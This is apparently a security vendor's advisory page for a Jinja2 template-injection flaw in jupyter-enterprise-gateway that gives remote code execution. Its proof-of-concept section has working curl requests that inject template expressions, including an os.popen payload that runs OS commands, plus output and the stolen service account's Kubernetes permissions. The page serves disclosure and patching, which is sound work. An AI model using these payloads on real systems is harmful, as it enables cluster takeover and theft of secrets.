GHSA-f49j-v924-fx9w
GHSA-f49j-v924-fx9w is a CWE-1336 vulnerability in jupyter-enterprise-gateway. O3 Security confirms whether GHSA-f49j-v924-fx9w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f49j-v924-fx9w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
jupyter-enterprise-gatewayReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}
Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54s
Remote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | jupyter-enterprise-gateway | ≥ 2.0.0rc2&&< 3.3.0 | 3.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jupyter-enterprise-gateway. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update jupyter-enterprise-gateway to 3.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f49j-v924-fx9w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f49j-v924-fx9w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f49j-v924-fx9w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f49j-v924-fx9w in your dependencies?
O3 detects GHSA-f49j-v924-fx9w across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.